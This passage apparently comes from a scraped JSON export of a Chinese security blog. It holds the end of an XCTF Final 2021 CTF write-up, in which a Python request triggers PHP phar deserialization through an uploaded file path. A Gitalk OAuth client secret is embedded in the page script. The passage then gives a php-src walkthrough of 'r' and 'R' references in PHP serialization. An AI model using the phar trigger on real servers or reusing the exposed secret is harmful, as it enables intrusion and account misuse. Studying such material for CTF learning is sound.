class=\"comment\"\u003e# {\u0026#39;status\u0026#39;: \u0026#39;200\u0026#39;, \u0026#39;data\u0026#39;: \u0026#39;/uploads/api/202105/60b3b5da99bed.gif\u0026#39;}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e同时,上传文件的 \u003ccode\u003eupload\u003c/code\u003e 方法下面就有 \u003ccode\u003echeckFileExists\u003c/code\u003e 方法,可以用于触发 phar 反序列化:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ereq = ses.get(host, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;api/Base/checkFileExists\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;filepath\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;phar:///var/www/html/public\u0026#39;\u003c/span\u003e+info[\u003cspan class=\"string\"\u003e\u0026#39;data\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 经过和出题人沟通,在比赛题目环境中必须使用绝对路径\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(req.text[-\u003cspan class=\"number\"\u003e200\u003c/span\u003e:])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003etp6的链略,\u003ca href=\"https://lmgtfy.app\"\u003ehttps://lmgtfy.app\u003c/a\u003e\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/"},{"title":"PHP序列化中的R与r","time":"2021-04-10T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e最近想起来 \u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e 还有一个TODO,实现递归对象的序列化,顺手写写php序列化中\u0026#34;r\u0026#34;与\u0026#34;R\u0026#34;的意义\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"引用\"\u003e引用\u003c/h2\u003e\u003cp\u003e引用到底是什么?是一个指针的语法糖么?是一个指针对象指向了另一个对象?\u003cbr/\u003e我更愿意将其理解为一个 \u003cem\u003e\u003cstrong\u003e更加\u003c/strong\u003e\u003c/em\u003e 抽象的概念。\u003cbr/\u003e要理解这个概念首先需要将“对象”和“引用”两个概念剥离开来,跳出“具体实现”的桎梏。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e我们手里拿着一个数据的“引用”时,我们并没有在拿这个数据本身。\u003cbr/\u003e我们对其解引用(deference)时我们就拿到了真实的对象本身。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/reference_dark.png\" class=\"\"/\u003e\u003cp\u003e听起来非常的指针。其实不然,指针没有这么抽象,指针存在于C语言中,它存在的意义并没有这么抽象。我们平时说指针“指向了一个对象”实际上是我们自己不知不觉间对其进行了更高层级的抽象,让它“成为了”我们脑海中对另一个对象的引用。实际上没这么复杂,它本初存在的意义就是为了存一个地址。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/pointer_dark.png\" class=\"\"/\u003e\u003cp\u003e像我们常用的Python,Java等直接操作引用的语言,将我们的对象全部藏了起来,给到我们手里的全部都是引用。当我们对这些对象进行操作的时候神の手(Kami no te)帮我们进行了一次解引用,再对对象进行了一系列操作。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/operation_dark.png\" class=\"\"/\u003e\u003cp\u003e理解了这一点,我们就能轻松地理解PHP序列化字符串中R与r的区别。\u003c/p\u003e\u003ch2 id=\"prologue\"\u003eprologue\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e既然打了 \u003ccode\u003ephp-src\u003c/code\u003e 的tag,就引用一下源码8\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在php中,反序列化的实现主要存在与 \u003ccode\u003eext/standard/var_unserializer.re\u003c/code\u003e 中。建议先打开这个文件放到一边再往下看。\u003cbr/\u003e这一文件利用\u003ca href=\"https://github.com/skvadrik/re2c\"\u003ere2c\u003c/a\u003e进行了代码生成。\u003cbr/\u003ere2c的作用,简而言之,就是将正则转换为一个goto模样的\u003cstrong\u003e确定\u003c/strong\u003e有限状态自动机,以供编译。这样能够实现 \u003cem\u003e\u003cstrong\u003e类似\u003c/strong\u003e\u003c/em\u003e 很多其它语言支持的模式匹配的效果。PHP中很多地方都用到了re2c。\u003c/p\u003e\u003cp\u003e我们先对php中反序列化的流程大致熟悉一下,标蓝色的地方是处理R与r的code block行数(php 7.4.6)\u003cbr/\u003e由于右侧的图比较糊,建议自己生成一份看:\u003cbr/\u003e\u003ccode\u003ere2c -D -8 ext/standard/var_unserializer.re | dot -Tpng -o output.png\u003c/code\u003e\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/call_graph_dark.png\" class=\"\"/\u003e\u003cp\u003e下文中都会以反序列化的代码来说明问题。看完了反序列化的代码再看序列化(\u003ccode\u003eext/standard/var.c\u003c/code\u003e)会发现其实它们的结构逻辑都是非常类似的。博客里就不多说了。\u003c/p\u003e\u003ch2 id=\"R与r\"\u003eR与r\u003c/h2\u003e\u003cp\u003e当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。\u003cbr/\u003e不过基础类型不受此条件限制,总是会被序列化\u003c/p\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 为什么?(看完“分析”以后再看这里) \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cp\u003e.\u003cbr/\u003e还记得\u003ccode\u003evar_hash-\u0026gt;last\u003c/code\u003e么?\u003cbr/\u003e在序列化过程中,与\u003ccode\u003evar_push\u003c/code\u003e作用类似的函数长这样\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e zend_long \u003cspan class=\"title\"\u003ephp_add_var_hash\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003ephp_serialize_data_t\u003c/span\u003e data, zval *var)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!is_ref \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eZ_TYPE_P\u003c/span\u003e(var) != IS_OBJECT) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为这里\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ( existed ) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e index;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e add_new \u0026amp;\u0026amp; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中判断了对象\u003ccode\u003eIS_OBJECT\u003c/code\u003e,而\u003ccode\u003ezval\u003c/code\u003e常规类型有下列几种:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eIS_UNDEF\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_NULL\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_FALSE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_TRUE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_LONG\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_DOUBLE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_STRING\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_ARRAY\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_OBJECT\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_RESOURCE\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIS_REFERENCE\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026#34;stdClass\u0026#34;:2:{s:1:\u0026#34;a\u0026#34;;i:1;s:1:\u0026#34;b\u0026#34;;i:1;} // 基础类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$y\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"variable\"\u003e$y\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$y\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026#34;stdClass\u0026#34;:2:{s:1:\u0026#34;a\u0026#34;;O:8:\u0026#34;stdClass\u0026#34;:0:{}s:1:\u0026#34;b\u0026#34;;r:2;}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// id(a) == id(b),二者都是$y;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026#34;stdClass\u0026#34;:2:{s:1:\u0026#34;a\u0026#34;;r:1;s:1:\u0026#34;b\u0026#34;;r:1;}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而当PHP中的一个对象如果是对另一对象显式的\u003cstrong\u003e引用\u003c/strong\u003e,那么在同时对它们进行序列化时将通过大写R表示\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026#34;stdClass\u0026#34;:2:{s:1:\u0026#34;a\u0026#34;;i:1;s:1:\u0026#34;b\u0026#34;;R:2;}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"分析\"\u003e分析\u003c/h2\u003e\u003ch3 id=\"R与r的不同处理\"\u003eR与r的不同处理\u003c/h3\u003e\u003cp\u003e对于“同一个对象”,php直接对取出的对象引用进行了一次解引用,便将这个 \u003cem\u003e\u003cstrong\u003e对象\u003c/strong\u003e\u003c/em\u003e 赋给了右值。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;r:\u0026#34;\u003c/span\u003e uiv \u003cspan class=\"string\"\u003e\u0026#34;;\u0026#34;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zend_long id;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = YYCURSOR;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!var_hash) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e id = \u003cspan class=\"built_in\"\u003eparse_uiv\u003c/span\u003e(start + \u003cspan class=\"number\"\u003e2\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 待会说 var_hash ,先看下面几行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// r begin\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (rval_ref == rval) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_DEREF\u003c/span\u003e(rval_ref);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eZ_TYPE_P\u003c/span\u003e(rval_ref) != IS_OBJECT) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// r end\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_COPY\u003c/span\u003e(rval, rval_ref);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而对于“对象引用”,其反序列化过程与上面小r非常像,不一样的地方在于 r begin 和 r end 之间:\u003c/p\u003e\u003cp\u003ephp并没有对取出的引用进行解引用,直接将这个 \u003cem\u003e\u003cstrong\u003e引用\u003c/strong\u003e\u003c/em\u003e 赋给了右值。\u003cbr/\u003e如果取出的引用本身指向的是一个引用,php还会进一步跟到引用指向的对象,创建一个新的指向对应对象的引用,赋给右值。\u003cbr/\u003e我觉得这一步可以起名叫ref flattening。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 略\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// R begin\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eZ_ISUNDEF_P\u003c/span\u003e(rval_ref) || (\u003cspan class=\"built_in\"\u003eZ_ISREF_P\u003c/span\u003e(rval_ref) \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eZ_ISUNDEF_P\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REFVAL_P\u003c/span\u003e(rval_ref)))) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003eZ_ISREF_P\u003c/span\u003e(rval_ref)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zend_property_info *info = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((*var_hash)-\u0026gt;ref_props) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e info = \u003cspan 